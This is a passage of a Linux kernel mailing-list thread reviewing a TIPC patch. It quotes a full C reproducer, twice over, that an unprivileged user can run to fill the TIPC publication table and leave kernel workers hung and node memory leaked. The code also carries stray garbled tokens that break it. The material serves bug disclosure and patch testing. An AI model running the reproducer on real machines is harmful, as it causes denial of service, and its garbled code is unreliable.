        nlh->nlmsg_len = off;
        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send
addr"); exit(1); }
        nl_recv_ack(fd, "add_ipv4");
}

static void tipc_set_node_id(int fd, uint64_t w0, uint64_t w1)
{
        char buf[1024];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
*)NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + GENL_HDRLEN;
        nlh->nlmsg_type = tipc_family;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = 40;
        gh->cmd = TIPC_NL_NET_SET;
        gh->version = 1;

        struct nlattr *net = nla_nest_start(buf, &off, TIPC_NLA_NET);
        nla_put(buf, &off, TIPC_NLA_NET_NODEID, &w0, sizeof(w0));
        nla_put(buf, &off, TIPC_NLA_NET_NODEID_W1, &w1, sizeof(w1));
        nla_nest_end(buf, &off, net);
        nlh->nlmsg_len = off;

        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send
net_set"); exit(1); }
        int e = nl_recv_ack(fd, "tipc_set_node_id");
        if (e) fprintf(stderr, "net_set(nodeid) returned %d\n", e);
}

static void put_sockaddr_storage_v4(char *buf, int *off, int type,
const char *ip, int port)
{
        struct sockaddr_storage ss;
        memset(&ss, 0, sizeof(ss));
        struct sockaddr_in *sin = (struct sockaddr_in *)&ss;
        sin->sin_family = AF_INET;
        sin->sin_port = htons(port);
        inet_pton(AF_INET, ip, &sin->sin_addr);
        nla_put(buf, off, type, &ss, sizeof(ss));
}

static void tipc_udp_bearer(int fd, int cmd, const char *bname,
                            const char *local_ip, const char *remote_ip)
{
        char buf[2048];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
*)NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + GENL_HDRLEN;
        nlh->nlmsg_type = tipc_family;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = 50;
        gh->cmd = cmd;
        gh->version = 1;

        struct nlattr *bearer = nla_nest_start(buf, &off, TIPC_NLA_BEARER);
        nla_put(buf, &off, TIPC_NLA_BEARER_NAME, bname名称, strlen(bname名称) + 1);
        if (cmd == TIPC_NL_BEARER_ENABLE) {
                struct nlattr *udp = nla_nest_start(buf, &off,
TIPC_NLA_BEARER_UDP_OPTS);
                put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_LOCAL,
local_ip, TIPC_UDP_PORT);
                put_sockaddr_storage_v4(buf, &off,
TIPC_NLA_UDP_REMOTE, remote_ip, TIPC_UDP_PORT);
                nla_nest_end(buf, &off, udp);
        }
        nla_nest_end(buf, &off, bearer);
        nlh->nlmsg_len = off;

        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send
bearer"); exit(1); }
        int e = nl_recv_ack(fd, "tipc_udp_bearer");
        if (e) fprintf(stderr, "bearer cmd %d (%s) returned %d\n",
cmd, bname名称, e);
}

static int write_file(const char *path, const char *val)
{
        int fd = open(path, O_WRONLY);
        if (fd < 0) return -1;
        int r = write(fd, val, strlen(val));
        close(fd);
        return r;
}

static int bindfill_node_scope(int target)
{
        int fd = socket(AF_TIPC, SOCK_RDM, 0);
        if (fd < 0) { perror("socket(AF_TIPC)"); exit(1); }
        int ok = 0, fail = 0;
        for (int i = 0; i < target + 1000; i++) {
                struct sockaddr_tipc sa;
                memset(&sa, 0, sizeof(sa));
                sa.family = AF_TIPC;
                sa.addrtype = TIPC_SERVICE_ADDR;
                sa.scope = TIPC_NODE_SCOPE;
                sa.addr.nameseq.type = 100000 + i;
                sa.addr.nameseq.lower = 100000 + i;
                sa.addr.nameseq.upper = 100000 + i;
                if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
                        ok++;
                        fail = 0;
                } else if (++fail > 100) {
                        break;
                }
        }
        fprintf(stderr, "[*] bound %d node-scope publications (cap
reached)\n", ok);
        if (ok < 65000) { fprintf(stderr, "bindfill shortfall\n"); exit(1); }
        return fd;
}

static void child_main(int sync_rd, int sync_wr)
{
        char c;
        write(sync_wr, "R", 1);
        if (read(sync_rd, &c, 1) != 1) _exit(1);

        int rfd = nl_open(NETLINK_ROUTE);
        set_if_up(rfd, "lo");
        set_if_up(rfd, "veth1");
        add_ipv4(rfd, "veth1", "10.0.0.2", 24);

        int gfd = nl_open(NETLINK_GENERIC);
        tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME);
        if (tipc_family < 0) _exit(1);

        int bfd = bindfill_node_scope(65535);
        tipc_set_node_id(gfd, 0x2222222222222222ULL, 0x2222222222222222ULL);
        tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b1",
"10.0.0.2", "10.0.0.1");
        write(sync_wr, "C", 1);

        sleep(35);
        tipc_udp_bearer(gfd, TIPC_NL_BEARER_DISABLE, "udp:b1", NULL, NULL);
        fprintf(stderr, "[child] b1 disabled, keeping it down\n");
        (void)bfd;
        for (;;) pause();
}

int main(void)
{
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stderr, NULL, _IONBF, 0);

        uid_t uid = getuid();
        gid_t gid = getgid();

        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) {
                write_file("/proc/self/setgroups", "deny");
                char m[64];
                snprintf(m, sizeof(m), "0 %d 1", uid);
                write_file("/proc/self/uid_map", m);
                snprintf(m, sizeof(m), "0 %d 1", gid);
                write_file("/proc/self/gid_map", m);
        } else if (unshare(CLONE_NEWNET) < 0) {
                perror("unshare");
                return 1;
        }

        int p2c[2], c2p[2];
        if (pipe(p2c) < 0 || pipe(c2p) < 0) { perror("pipe"); return 1; }

        pid_t pid = fork();
        if (pid == 0) {
                close(p2c[1]);
                close(c2p[0]);
                if (unshare(CLONE_NEWNET) < 0) _exit(1);
                child_main(p2c[0], c2p[1]);
                _exit(0);
        }
        close(p2c[0]);
        close(c2p[1]);

        char c;
        if (read(c2p[0], &c, 1) != 1) { fprintf(stderr, "child not
ready\n"); return 1; }

        char nspath[64];
        snprintf(nspath, sizeof(nspath), "/proc/%d/ns/net", pid);
        int nsfd = open(nspath, O_RDONLY);
        if (nsfd < 0) { perror("open ns"); return 1; }

        int rfd = nl_open(NETLINK_ROUTE);
        create_veth(rfd, "veth0", "veth1", nsfd);
        close(nsfd);
        set_if_up(rfd, "lo");
        set_if_up(rfd, "veth0");
        add_ipv4(rfd, "veth0", "10.0.0.1", 24);
        write(p2c[1], "G", 1);

        int gfd = nl_open(NETLINK_GENERIC);
        tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME);
        if (tipc_family < 0) return 1;
        int bfd = bindfill_node_scope(65535);
        tipc_set_node_id(gfd, 0x1111111111111111ULL, 0x1111111111111111ULL);

        if (read(c2p[0], &c, 1) != 1)
                fprintf(stderr, "child config sync missed\n");
        tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b0",
"10.0.0.1", "10.0.0.2");

        fprintf(stderr, "[*] nodes configured; waiting for stale cleanup\n");
        (void)bfd;
        sleep(400);
        kill(pid, SIGKILL);
        waitpid(pid, NULL, 0);
        fprintf(stderr, "[*] done\n");
        return 0;
}

```


Do you think tipc_node_cleanup() should go through the same wake logic
as tipc_node_delete()? Happy to test the next version.

Thanks,
Weiming

^ permalink raw reply	[flat|nested] 14+ messages in thread

* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-21  3:06     ` Weiming Shi
@ 2026-07-21  3:24       ` Tung Quang Nguyen
  2026-07-27 10:30         ` Weiming Shi
  0 siblings, 1 reply; 14+ messages in thread
From: Tung Quang Nguyen @ 2026-07-21  3:24 UTC (permalink / raw)
  To: Weiming Shi
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev,
	tipc-discussion

>Subject: Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up()
>on empty publication list
>
>Hi Tung,
>
>I tested this on v7.1-rc5 with the two-node setup (UDP bearers, node-id
>addressing), as an unprivileged user and as root.
>The original NULL deref is fixed, and the sashiko findings look addressed.
>
>But I found one path the patch misses: tipc_node_cleanup(). It removes a stale
>node with tipc_node_delete_from_list() directly, without the wake/cancel you
>added in tipc_node_delete(). If a deferred worker is still parked when the stale
>timer fires, the node is removed from the list while the worker is sleeping in
>wait_var_event(). Since the node is off the list, the wake in tipc_node_delete()
>can no longer reach it. The worker stays in D state and keeps its node
>reference, so the node struct leaks as well.
>
>This state is reachable from userspace without any kernel change:
>filling local_publ_count to TIPC_MAX_PUBL with node-scope binds makes
>tipc_net_finalize()'s publish fail, and the work_rescheduled retry then keeps
>finalized at 0, so the link-up defers the worker for as long as the table stays full.
>(The retry also也重试 busy-loops, printing "tipc: Bind failed, max limit 65535
>reached" each round.) Bringing the link down makes the peer node go stale
>NODE_CLEANUP_AFTER (300s) later, with the worker still parked.
>The hung task watchdog flags it:
>
>```
>     [  370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds.
>     [  370.441580] Workqueue: events tipc_node_dist_bulk
>     [  370.442803] Call Trace:
>     [  370.443151]  __schedule+0x18bf/0x4680
>     [  370.444293]  tipc_named_dist_cluster_scope+0x1a0/0x220
>     [  370.446076]  tipc_node_dist_bulk+0x6d/0x1b0
>     [  370.446218]  process_one_work+0x845/0x1a60 ```
>
>With a test-only marker printk in tipc_node_cleanup() I can see the stale timer
>remove both nodes at ~368s and ~375s, i.e. while the workers above are still
>parked. Nothing wakes them on that path; in this run they only exit because
>killing the reproducer closes the bind sockets, so the next retry's publish
>succeeds. With a persistent failure source (e.g. memory
>pressure) the worker would stay parked across the netns teardown as well.
>
>
>```
>[  247.560544] INFO: task kworker/0:0:9 blocked for more than 122 seconds.
>     [  247.568089] INFO: task kworker/0:2:67 blocked for more than 122
>seconds.
>
>     [  370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds.
>     [  370.441580] Workqueue: events tipc_node_dist_bulk
>     [  370.442803] Call Trace:
>     [  370.443151]  __schedule+0x18bf/0x4680
>     [  370.444293]  tipc_named_dist_cluster_scope+0x1a0/0x220     ←
>wait_var_event 睡眠点
>     [  370.446076]  tipc_node_dist_bulk+0x6d/0x1b0
>     [  370.446218]  process_one_work+0x845/0x1a60
>
>```
>
>
>The Configs and reproducer :
>```
>CONFIG_TIPC=y,
>CONFIG_TIPC_MEDIA_UDP=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y,
>CONFIG_KASAN=y (crash on the unpatched kernel),
>CONFIG_DETECT_HUNG_TASK=y ```
>
>```c
>#define _GNU_SOURCE
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>#include <unistd.h>
>#include <errno.h>
>#include <sched.h>
>#include <fcntl.h>
>#include <signal.h>
>#include <sys/types.h>
>#include <sys/wait.h>
>#include <sys/socket.h>
>#include <arpa/inet.h>
>#include <net/if.h>
>#include <linux/netlink.h>
>#include <linux/rtnetlink.h>
>#include <linux/genetlink.h>
>#include <linux/if_link.h>
>#include <linux/veth.h>
>#include <linux/tipc.h>
>
>#ifndef AF_TIPC
>#define AF_TIPC 30
>#endif
>#ifndef SOCK_RDM
>#define SOCK_RDM 4
>#endif
>
>#ifndef VETH_INFO_PEER
>#define VETH_INFO_PEER 1
>#endif
>
>#define TIPC_GENL_V2_NAME "TIPCv2"
>
>enum {
>        TIPC_NL_UNSPEC,
>        TIPC_NL_LEGACY,
>        TIPC_NL_BEARER_DISABLE,
>        TIPC_NL_BEARER_ENABLE,
>        TIPC_NL_BEARER_GET,
>        TIPC_NL_BEARER_SET,
>        TIPC_NL_SOCK_GET,
>        TIPC_NL_PUBL_GET,
>        TIPC_NL_LINK_GET,
>        TIPC_NL_LINK_SET,
>        TIPC_NL_LINK_RESET_STATS,
>        TIPC_NL_MEDIA_GET,
>        TIPC_NL_MEDIA_SET,
>        TIPC_NL_NODE_GET,
>        TIPC_NL_NET_GET,
>        TIPC_NL_NET_SET,
>};
>
>enum {
>        TIPC_NLA_UNSPEC,
>        TIPC_NLA_BEARER,
>        TIPC_NLA_SOCK,
>        TIPC_NLA_PUBL,
>        TIPC_NLA_LINK,
>        TIPC_NLA_MEDIA,
>        TIPC_NLA_NODE,
>        TIPC_NLA_NET,
>};
>
>enum {
>        TIPC_NLA_BEARER_UNSPEC,
>        TIPC_NLA_BEARER_NAME,
>        TIPC_NLA_BEARER_PROP,
>        TIPC_NLA_BEARER_DOMAIN,
>        TIPC_NLA_BEARER_UDP_OPTS,
>};
>
>enum {
>        TIPC_NLA_UDP_UNSPEC,
>        TIPC_NLA_UDP_LOCAL,
>        TIPC_NLA_UDP_REMOTE,
>        TIPC_NLA_UDP_MULTI_REMOTEIP,
>};
>
>enum {
>        TIPC_NLA_NET_UNSPEC,
>        TIPC_NLA_NET_ID,
>        TIPC_NLA_NET_ADDR,
>        TIPC_NLA_NET_NODEID,
>        TIPC_NLA_NET_NODEID_W1,
>};
>
>#define TIPC_UDP_PORT 6118
>#define NLA_ALIGNTO 4
>#define MY_NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO -
>1))
>
>static int tipc_family;
>
>static int nl_open(int protocol)
>{
>        int fd = socket(AF_NETLINK, SOCK_RAW, protocol);
>        if (fd < 0) { perror("socket(NETLINK)"); exit(1); }
>        struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
>        if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
>                perror("bind(NETLINK)"); exit(1);
>        }
>        return fd;
>}
>
>static void *nla_put(char *buf, int *off, int type, const void *data, int len) {
>        struct nlattr *a = (struct nlattr *)(buf + *off);
>        a->nla_type = type;
>        a->nla_len = NLA_HDRLEN + len;
>        if (len)
>                memcpy((char *)a + NLA_HDRLEN, data, len);
>        *off += MY_NLA_ALIGN(a->nla_len);
>        return a;
>}
>
>static struct nlattr *nla_nest_start(char *buf, int *off, int type) {
>        struct nlattr *a = (struct nlattr *)(buf + *off);
>        a->nla_type = type | NLA_F_NESTED;
>        *off += NLA_HDRLEN;
>        return a;
>}
>
>static void nla_nest_end(char *buf, int *off, struct nlattr *start) {
>        start->nla_len = (buf + *off) - (char *)start; }
>
>static int genl_resolve_family(int fd, const char *name) {
>        char buf[1024];
>        memset(buf, 0, sizeof(buf));
>        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
>        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
>*)NLMSG_DATA(nlh);
>        int off = NLMSG_HDRLEN + GENL_HDRLEN;
>
>        nlh->nlmsg_type = GENL_ID_CTRL;
>        nlh->nlmsg_flags = NLM_F_REQUEST;
>        nlh->nlmsg_seq = 1;
>        gh->cmd = CTRL_CMD_GETFAMILY;
>        gh->version = 1;
>        nla_put(buf, &off, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
>        nlh->nlmsg_len = off;
>
>        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send genl resolve");
>exit(1); }
>
>        char rbuf[4096];
>        int n = recv(fd, rbuf, sizeof(rbuf), 0);
>        if (n < 0) { perror("recv genl resolve"); exit(1); }
>
>        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
>        if (rh->nlmsg_type == NLMSG_ERROR)
>                return -1;
>        struct nlattr *a = (struct nlattr *)((char *)NLMSG_DATA(rh) +
>GENL_HDRLEN);
>        int alen阿伦 = rh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
>        while (alen > 0) {
>                if (a->nla_type == CTRL_ATTR_FAMILY_ID)
>                        return *(uint16_t *)((char *)a + NLA_HDRLEN);
>                int step = MY_NLA_ALIGN(a->nla_len);
>                alen -= step;
>                a = (struct nlattr *)((char *)a + step);
>        }
>        return -1;
>}
>
>static int nl_recv_ack(int fd, const char *what) {
>        char rbuf[8192];
>        int n = recv(fd, rbuf, sizeof(rbuf), 0);
>        if (n < 0) { fprintf(stderr, "recv ack (%s): %s\n", what, strerror(errno));
>return -1; }
>        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
>        if (rh->nlmsg_type == NLMSG_ERROR) {
>                struct nlmsgerr *e = NLMSG_DATA(rh);
>                if (e->error != 0)
>                        fprintf(stderr, "[%s] netlink error: %d (%s)\n", what, e->error,
>strerror(-e->error));
>                return e->error;
>        }
>        return 0;
>}
>
>static void *rta_put(char *buf, int *off, int type, const void *data, int len) {
>        struct rtattr *a = (struct rtattr *)(buf + *off);
>        a->rta_type = type;
>        a->rta_len = RTA_LENGTH(len);
>        if (len) memcpy(RTA_DATA(a), data, len);
>        *off += RTA_ALIGN(a->rta_len);
>        return a;
>}
>
>static struct rtattr *rta_nest(char *buf, int *off, int type) {
>        struct rtattr *a = (struct rtattr *)(buf + *off);
>        a->rta_type = type | NLA_F_NESTED;
>        *off += RTA_LENGTH(0);
>        return a;
>}
>
>static void rta_nest_end(char *buf, int *off, struct rtattr *start) {
>        start->rta_len = (buf + *off) - (char *)start; }
>
>static void create_veth(int fd, const char *n0, const char *n1, int peer_nsfd) {
>        char buf[2048];
>        memset(buf, 0, sizeof(buf));
>        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
>        struct ifinfomsg *ifi = NLMSG_DATA(nlh);
>        int off = NLMSG_HDRLEN + sizeof(*ifi);
>
>        nlh->nlmsg_type = RTM_NEWLINK;
>        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
>NLM_F_EXCL;
>        nlh->nlmsg_seq = 10;
>        ifi->ifi_family = AF_UNSPEC;
>
>        rta_put(buf, &off, IFLA_IFNAME, n0, strlen(n0) + 1);
>        struct rtattr *linfo = rta_nest(buf, &off, IFLA_LINKINFO);
>        rta_put(buf, &off, IFLA_INFO_KIND, "veth", 5);
>        struct rtattr *idata = rta_nest(buf, &off, IFLA_INFO_DATA);
>        struct rtattr *peer = rta_nest(buf, &off, VETH_INFO_PEER);
>        struct ifinfomsg *pifi = (struct ifinfomsg *)(buf + off);
>        memset(pifi, 0, sizeof(*pifi));
>        off += sizeof(*pifi);
>        rta_put(buf, &off, IFLA_IFNAME, n1, strlen(n1) + 1);
>        rta_put(buf, &off, IFLA_NET_NS_FD, &peer_nsfd, sizeof(peer_nsfd));
>        rta_nest_end(buf, &off, peer);
>        rta_nest_end(buf, &off, idata);
>        rta_nest_end(buf, &off, linfo);
>        nlh->nlmsg_len = off;
>
>        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send veth"); exit(1); }
>        int e = nl_recv_ack(fd, "create_veth");
>        if (e && e != -EEXIST) { fprintf(stderr, "veth create failed:
>%d\n", e); exit(1); }
>}
>
>static void set_if_up(int fd, const char *name) {
>        char buf[512];
>        memset(buf, 0, sizeof(buf));
>        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
>        struct ifinfomsg *ifi = NLMSG_DATA(nlh);
>        int off = NLMSG_HDRLEN + sizeof(*ifi);
>        nlh->nlmsg_type = RTM_NEWLINK;
>        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
>        nlh->nlmsg_seq = 20;
>        ifi->ifi_family = AF_UNSPEC;
>        ifi->ifi_index = if_nametoindex(name);
>        ifi->ifi_flags = IFF_UP;
>        ifi->ifi_change = IFF_UP;
>        nlh->nlmsg_len = off;
>        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send up"); exit(1); }
>        nl_recv_ack(fd, "set_if_up");
>}
>
>static void add_ipv4(int fd, const char *name, const char *ip, int prefix) {
>        char buf[512];
>        memset(buf, 0, sizeof(buf));
>        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
>        struct ifaddrmsg *ifa = NLMSG_DATA(nlh);
>        int off = NLMSG_HDRLEN + sizeof(*ifa);
>        nlh->nlmsg_type = RTM_NEWADDR;
>        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
>NLM_F_REPLACE;
>        nlh->nlmsg_seq = 30;
>        ifa->ifa_family = AF_INET;
>        ifa->ifa_prefixlen = prefix;
>        ifa->ifa_scope = 0;
>        ifa->ifa_index = if_nametoindex(name);
>
>        struct in_addr a;
>        inet_pton(AF_INET, ip, &a);
>        rta_put(buf, &off, IFA_LOCAL, &a, 4);
>        rta_put(buf, &off, IFA_ADDRESS, &a, 4);
>        nlh->nlmsg_len = off;
>        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send addr"); exit(1); }
>        nl_recv_ack(fd, "add_ipv4");
>}
>
>static void tipc_set_node_id(int fd, uint64_t w0, uint64_t w1) {
>        char buf[1024];
>        memset(buf, 0, sizeof(buf));
>        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
>        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
>*)NLMSG_DATA(nlh);
>        int off = NLMSG_HDRLEN + GENL_HDRLEN;
>        nlh->nlmsg_type = tipc_family;
>        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
>        nlh->nlmsg_seq = 40;
>        gh->cmd = TIPC_NL_NET_SET;
>        gh->version = 1;
>
>        struct nlattr *net = nla_nest_start(buf, &off, TIPC_NLA_NET);
>        nla_put(buf, &off, TIPC_NLA_NET_NODEID, &w0, sizeof(w0));
>        nla_put(buf, &off, TIPC_NLA_NET_NODEID_W1, &w1, sizeof(w1));
>        nla_nest_end(buf, &off, net);
>        nlh->nlmsg_len = off;
>
>        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send net_set"); exit(1); }
>        int e = nl_recv_ack(fd, "tipc_set_node_id");
>        if (e) fprintf(stderr, "net_set(nodeid) returned %d\n", e); }
>
>static void put_sockaddr_storage_v4(char *buf, int *off, int type, const char *ip,
>int port) {
>        struct sockaddr_storage ss;
>        memset(&ss, 0, sizeof(ss));
>        struct sockaddr_in *sin = (struct sockaddr_in *)&ss;
>        sin->sin_family = AF_INET;
>        sin->sin_port = htons(port);
>        inet_pton(AF_INET, ip, &sin->sin_addr);
>        nla_put(buf, off, type, &ss, sizeof(ss)); }
>
>static void tipc_udp_bearer(int fd, int cmd, const char *bname,
>                            const char *local_ip, const char *remote_ip) {
>        char buf[2048];
>        memset(buf, 0, sizeof(buf));
>        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
>        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
>*)NLMSG_DATA(nlh);
>        int off = NLMSG_HDRLEN + GENL_HDRLEN;
>        nlh->nlmsg_type = tipc_family;
>        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
>        nlh->nlmsg_seq = 50;
>        gh->cmd = cmd;
>        gh->version = 1;
>
>        struct nlattr *bearer = nla_nest_start(buf, &off, TIPC_NLA_BEARER);
>        nla_put(buf, &off, TIPC_NLA_BEARER_NAME, bname名称,
>strlen(bname名称) + 1);
>        if (cmd == TIPC_NL_BEARER_ENABLE) {
>                struct nlattr *udp = nla_nest_start(buf, &off,
>TIPC_NLA_BEARER_UDP_OPTS);
>                put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_LOCAL, local_ip,
>TIPC_UDP_PORT);
>                put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_REMOTE,
>remote_ip, TIPC_UDP_PORT);
>                nla_nest_end(buf, &off, udp);
>        }
>        nla_nest_end(buf, &off, bearer);
>        nlh->nlmsg_len = off;
>
>        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send bearer"); exit(1); }
>        int e = nl_recv_ack(fd, "tipc_udp_bearer");
>        if (e) fprintf(stderr, "bearer cmd %d (%s) returned %d\n", cmd,
>bname名称, e); }
>
>static int write_file(const char *path, const char *val) {
>        int fd = open(path, O_WRONLY);
>        if (fd < 0) return -1;
>        int r = write(fd, val, strlen(val));
>        close(fd);
>        return r;
>}
>
>static int bindfill_node_scope(int target) {
>        int fd = socket(AF_TIPC, SOCK_RDM, 0);
>        if (fd < 0) { perror("socket(AF_TIPC)"); exit(1); }
>        int ok = 0, fail = 0;
>        for (int i = 0; i < target + 1000; i++) {
>                struct sockaddr_tipc sa;
>                memset(&sa, 0, sizeof(sa));
>                sa.family = AF_TIPC;
>                sa.addrtype = TIPC_SERVICE_ADDR;
>                sa.scope = TIPC_NODE_SCOPE;
>                sa.addr.nameseq.type = 100000 + i;
>                sa.addr.nameseq.lower = 100000 + i;
>                sa.addr.nameseq.upper = 100000 + i;
>                if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
>                        ok++;
>                        fail = 0;
>                } else if (++fail > 100) {
>                        break;
>                }
>        }
>        fprintf(stderr, "[*] bound %d node-scope publications (cap reached)\n",
>ok);
>        if (ok < 65000) { fprintf(stderr, "bindfill shortfall\n"); exit(1); }
>        return fd;
>}
>
>static void child_main(int sync_rd, int sync_wr) {
>        char c;
>        write(sync_wr, "R", 1);
>        if (read(sync_rd, &c, 1) != 1) _exit(1);
>
>        int rfd = nl_open(NETLINK_ROUTE);
>        set_if_up(rfd, "lo");
>        set_if_up(rfd, "veth1");
>        add_ipv4(rfd, "veth1", "10.0.0.2", 24);
>
>        int gfd = nl_open(NETLINK_GENERIC);
>        tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME);
>        if (tipc_family < 0) _exit(1);
>
>        int bfd = bindfill_node_scope(65535);
>        tipc_set_node_id(gfd, 0x2222222222222222ULL,
>0x2222222222222222ULL);
>        tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b1", "10.0.0.2",
>"10.0.0.1");
>        write(sync_wr, "C", 1);
>
>        sleep(35);
>        tipc_udp_bearer(gfd, TIPC_NL_BEARER_DISABLE, "udp:b1", NULL, NULL);
>        fprintf(stderr, "[child] b1 disabled, keeping it down\n");
>        (void)bfd;
>        for (;;) pause();
>}
>
>int main(void)
>{
>        setvbuf(stdout, NULL, _IONBF, 0);
>        setvbuf(stderr, NULL, _IONBF, 0);
>
>        uid_t uid = getuid();
>        gid_t gid = getgid();
>
>        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) {
>                write_file("/proc/self/setgroups", "deny");
>                char m[64];
>                snprintf(m, sizeof(m), "0 %d 1", uid);
>                write_file("/proc/self/uid_map", m);
>                snprintf(m, sizeof(m), "0 %d 1", gid);
>                write_file("/proc/self/gid_map", m);
>        } else if (unshare(CLONE_NEWNET) < 0) {
>                perror("unshare");
>                return 1;
>        }
>
>        int p2c[2], c2p[2];
>        if (pipe(p2c) < 0 || pipe(c2p) < 0) { perror("pipe"); return 1; }
>
>        pid_t pid = fork();
>        if (pid == 0) {
>                close(p2c[1]);
>                close(c2p[0]);
>                if (unshare(CLONE_NEWNET) < 0) _exit(1);
>                child_main(p2c[0], c2p[1]);
>                _exit(0);
>        }
>        close(p2c[0]);
>        close(c2p[1]);
>
>        char c;
>        if (read(c2p[0], &c, 1) != 1) { fprintf(stderr, "child not ready\n"); return 1; }
>
>        char nspath[64];
>        snprintf(nspath, sizeof(nspath), "/proc/%d/ns/net", pid);
>        int nsfd = open(nspath, O_RDONLY);
>        if (nsfd < 0) { perror("open ns"); return 1; }
>
>        int rfd = nl_open(NETLINK_ROUTE);
>        create_veth(rfd, "veth0", "veth1", nsfd);
>        close(nsfd);
>        set_if_up(rfd, "lo");
>        set_if_up(rfd, "veth0");
>        add_ipv4(rfd, "veth0", "10.0.0.1", 24);
>        write(p2c[1], "G", 1);
>
>        int gfd = nl_open(NETLINK_GENERIC);
>        tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME);
>        if (tipc_family < 0) return 1;
>        int bfd = bindfill_node_scope(65535);
>        tipc_set_node_id(gfd, 0x1111111111111111ULL,
>0x1111111111111111ULL);
>
>        if (read(c2p[0], &c, 1) != 1)
>                fprintf(stderr, "child config sync missed\n");
>        tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b0", "10.0.0.1",
>"10.0.0.2");
>
>        fprintf(stderr, "[*] nodes configured; waiting for stale cleanup\n");
>        (void)bfd;
>        sleep(400);
>        kill(pid, SIGKILL);
>        waitpid(pid, NULL, 0);
>        fprintf(stderr, "[*] done\n");
>        return 0;
>}
>
>```
>
>
>Do you think tipc_node_cleanup() should go through the same wake logic as
>tipc_node_delete()? Happy to test the next version.

Thanks for your test report and reproducer. It will look into the reproducer to fix outstanding issues.

>
>Thanks,
>Weiming

^ permalink raw reply	[flat|nested] 14+ messages in thread

* Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-21  3:24       ` Tung Quang Nguyen
@ 2026-07-27 10:30         ` Weiming Shi
  2026-07-27 10:48           ` Tung Quang Nguyen
  2026-07-28 12:52           ` Tung Quang Nguyen
  0 siblings, 2 replies; 14+ messages in thread
From: Weiming Shi @ 2026-07-27 10:30 UTC (permalink / raw)
  To: Tung Quang Nguyen
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev,
	tipc-discussion

Tung Quang Nguyen <tung.quang.nguyen@est.tech> 于2026年7月21日周二 11:24写道:
>
> >Subject: Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up()
> >on empty publication list
> >
> >Hi Tung,
> >
> >I tested this on v7.1-rc5 with the two-node setup (UDP bearers, node-id
> >addressing), as an unprivileged user and as root.
> >The original NULL deref is fixed, and the sashiko findings look addressed.
> >
